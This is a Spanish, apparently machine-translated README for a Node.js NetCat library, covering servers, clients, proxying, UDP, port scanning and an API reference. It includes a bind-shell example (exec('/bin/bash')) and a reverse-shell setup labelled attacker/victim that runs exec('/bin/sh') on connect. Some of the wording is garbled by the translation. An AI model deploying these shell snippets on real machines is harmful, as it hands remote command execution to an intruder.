Módulos de cliente y servidor de NetCat escritos en JavaScript puro para Node.js.
Módulos completamente probados que implementan todas las características básicas de NetCat. Para usar como herramienta independiente, instale el paquete NC.
| Linux/Mac | Windows |
|---|---|
.auth('pass') ). allow y deny una dirección IP remota específica. $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) La API de este módulo tiende a seguir tanto como sea posible los parámetros CLI originales de NetCat.
Por ejemplo: nc -l -p 2389 es equivalente a nc.port(2389).listen() . Fácil, ¿verdad?
| Servidor | Cliente |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
o viceversa, puede hacer el equivalente de nc -l -p 2389 < filename.txt y cuando alguien más se conecta a su puerto 2389, se les envía el archivo si lo quisieran o no:
| Servidor | Cliente |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| Servidor | Cliente |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
El servidor se mantendrá vivo y no se cerrará después de la primera conexión. ( k() es un alias para keepalive() )
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
El método exec() ejecuta el comando dado y elige su stdout y stderr con el socket de los clientes.
| Agresor | Víctima |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat se puede configurar muy fácilmente como un servidor proxy:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) Todo el tráfico que fluye en localhost:8080 se redirigirá a google.com:80 . Del mismo modo, puede configurar un reenvío de puerto con el mismo host.
Finge ser un servidor Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) El cliente NetCat también proporciona una funcionalidad básica de escaneo de puertos.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) El escáner de puerto es solo el protocolo TCP. El escaneo UDP no es realmente efectivo. scan(...) acepta también una matriz o un número entero.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) Tanto el servidor y el cliente NetCat admiten la conexión de socket UNIX. Usemos nuestra instancia de cliente NetCat para conectarnos al archivo de socket Unix Docker y recuperar la lista de las imágenes de nuestros contenedores.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) Envíe el búfer hello al puerto 2100 , luego después de 1000 ms, cierre el cliente.
port(int) o p(int)NetCAT puede unirse a cualquier puerto local, sujeto a restricciones de privilegios y puertos que ya están en uso.
address(host) o addr(host)0.0.0.0 por defecto.127.0.0.1 Por defecto. listen()Haga que el servidor UDP/TCP escuche en el puerto establecido anteriormente.
unixSocket(path) - solo TCPOpcionalmente, puede proporcionar la ruta a un archivo de calcetín Unix y escuchar/conectarse a él.
connect() - solo TCPSolo del lado del cliente. Deje que el cliente se conecte a la dirección y el puerto establecidos anteriormente.
retry(ms) - solo TCP Solo del lado del cliente. Vuelva a intentar la conexión cada ms milisegundos cuando se pierde la conexión.
interval(ms) o i(ms)SOLO SOLO DEL CLIENTE: Especifica un intervalo de tiempo de retraso para los datos enviados. En milisegundos.
waitTime(ms) o wait(ms)Establezca un tiempo de espera.
ms MilliseConds desde los primeros datos y si no obtiene más datos, cerrará la conexión.ms MilliseConds desde los primeros datos enviados y si no hay más datos para enviar el cliente cerrarán. stream()Devuelve la referencia del cliente DuplexStream.
pipe(outStream)Vaya a los datos entrantes del cliente al Outstream dado.
filter(transformFn) Filtre los datos entrantes con la function (chunk, enc, cb){...} antes de ser abastecido.
NB : Los datos .on('data', cb) que obtiene no se filtran. El filtro solo se aplica en la corriente .pipe(...) .
Problema conocido : through2 en este momento no respeta la codificación. Si configura un filtro, obtendrá un búfer y el método enc() será inútil.
serve()Método del lado del servidor.
El método serve acepta una cadena (que indica un nombre de archivo, asegúrese de que el archivo exista), una secuencia legible o un búfer. Cuando pasa una transmisión legible, el método Keepalive podría hacer que la corriente se consuma a la primera solicitud y no se puede servir más (la corriente no se almacena en un búfer).
Además, al servir un archivo o un búfer a un zócalo, la tubería emitirá un evento end (EOF) al socket. Cerrando la corriente.
send(data [, cb|host])Lado del cliente:
cb se llama una vez que se envían los datos.Lado del servidor:
serve() en su lugar.end(data) - solo TCPMétodo del lado del cliente. Enviar datos dados y cerrar la conexión.
close([cb]) Cierre la conexión (o las conexiones si se ejecuta del lado del servidor) y llame cb una vez que el socket esté cerrado.
enc() Establecer una codificación. Los más comunes son: utf8 , ascii , base64 , hex , binary , hex .
protocol(prot) Establezca un protocolo personalizado. Se desaconseja el uso de este método. Use los métodos tcp() y udp() en su lugar. tcp es el valor predeterminado.
keepalive() o k() - solo TCPMétodo del lado del servidor.
Cuando establece el keepalive, el servidor se mantendrá despierto y posiblemente el outstream dado a pipe(outStream) se mantiene abierto.
Por defecto, en el modo UDP, la escucha se mantiene viva hasta un nc.close() .
exec() - solo TCP El método exec() ejecuta el comando dado y elige su stdout y stderr con el socket de los clientes. Opcionalmente acepta una cadena y una matriz de args como segunda parámetro y las opciones de desove como tercer param. Si se encuentra una tubería de char | entonces todos los comandos se procesarán bajo un sh -c .
Ejemplo:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - solo TCPMétodo del lado del servidor. Devuelva un objeto que enumera todas las referencias de socket del cliente.
proxy(duplexStream) - solo TCP Método del lado del servidor. Este método aborda los datos entrantes/salientes del servidor al DuplexStream proporcionado. Es como un atajo para ambas llamadas: .serve(duplexStream) y .pipe(duplexStream) .
output(outStream) o out(outStream) Escriba un vertedero hexadecimal de tráfico entrante o saliente a la outStream de escritura dada.
Una fila representa una parte de al menos 16 bytes por defecto.
El primer personaje puede ser < respectivamente "fragmento entrante" o "fragmento > próxima próxima".
scan(portsInterval, cb) - solo TCPEl cliente NetCat también proporciona una funcionalidad básica de escaneo de puertos.
Los parámetros son mandatorios. El primer parámetro especifica el puerto/s para escanear. Puede ser un solo entero, un intervalo de cadena (como 22-80 ) o una matriz de enteros ( [22, 23, 1880] ). La devolución de llamada devuelve como resultado un objeto como { '22': 'open', '23': 'closed' ... } .
init() - UDP solo El equivalente UDP de connect() . Solo para clientes UDP.
bind(<int>) - solo UDP Deje que el cliente/servidor UDP escuche en el puerto dado. También se utilizará como el próximo puerto si .port(<n>) no se llamó.
broadcast(<dst>) o b(<dst>) - solo UDPEstablezca transmisión para el servidor UDP (eventualmente puede especificar una dirección de destino).
destination(<dst>) - solo UDP Establezca una dirección de destino. ( 127.0.0.1 es el valor predeterminado)
loopback() - solo UDPHabilitar loopback. Por ejemplo, cuando un servidor UDP está vinculado a un puerto y envíe un mensaje a ese puerto, recuperará el mensaje si el bucleback está habilitado.
bind(int) - solo UDP Vincule el servidor/cliente UDP para escuchar en el puerto dado y use el conjunto de puertos con port() solo para paquetes de salida.
Los módulos NETCAT extienden la clase EventEmitter . Podrá ver algunos eventos directamente de los enchufes. Por ejemplo, el evento data para el servidor:
| Servidor | Cliente |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})Emitido cuando el servidor obtiene datos de los clientes.
.on('ready', cb)Emitido cuando el servidor escuche/se une con éxito a un puerto.
.on('close', cb)Emitido cuando se cierre el servidor.
.on('clientClose', function(socket, hadError){}) - TCP solo Llamado cuando un cliente se desconecta del servidor. La devolución de llamada acepta como 1 ° parámetro, la instancia socket simplemente desconectada y un bool val hadError .
.on('connection', function(socket){}) - solo TCPEmitido cuando un nuevo cliente se conecta al servidor.
.on('end', function(socket){}) - solo TCPEmitido cuando un cliente finaliza la conexión.
.on('timeout', function(socket){}) - solo TCPEvento de tiempo de espera del socket.
.on('waitTimeout', cb) Disparado cuando el servidor permanece inactivo para un tiempo wait(ms) .
.on('error', function(err){})Emitido por error.
.on('data', function(msg){})Datos del servidor.
.on('close', cb)Emitido cuando el cliente cierre.
.on('waitTimeout', cb) Disparado cuando el cliente permanece inactivo para un tiempo wait(ms) .
.on('connect', cb) - solo TCPEmitido cuando el cliente estableció una conexión con un servidor.
.on('error', function(err){})Emitido por error.
Para el uso independiente, instale el paquete NC CLI:
$ npm install -g nc
Ejemplo:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Opciones disponibles:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] La depuración coincide con el modo detallado. Puede habilitarlo con el verbose: true Param o el env var var DEBUG=netcat:*
Ejecutarlos con: npm test
Cobertura:
.serve(input) .pipe() y serve() . exec() Rocco Musolino (@roccomuso)
MIT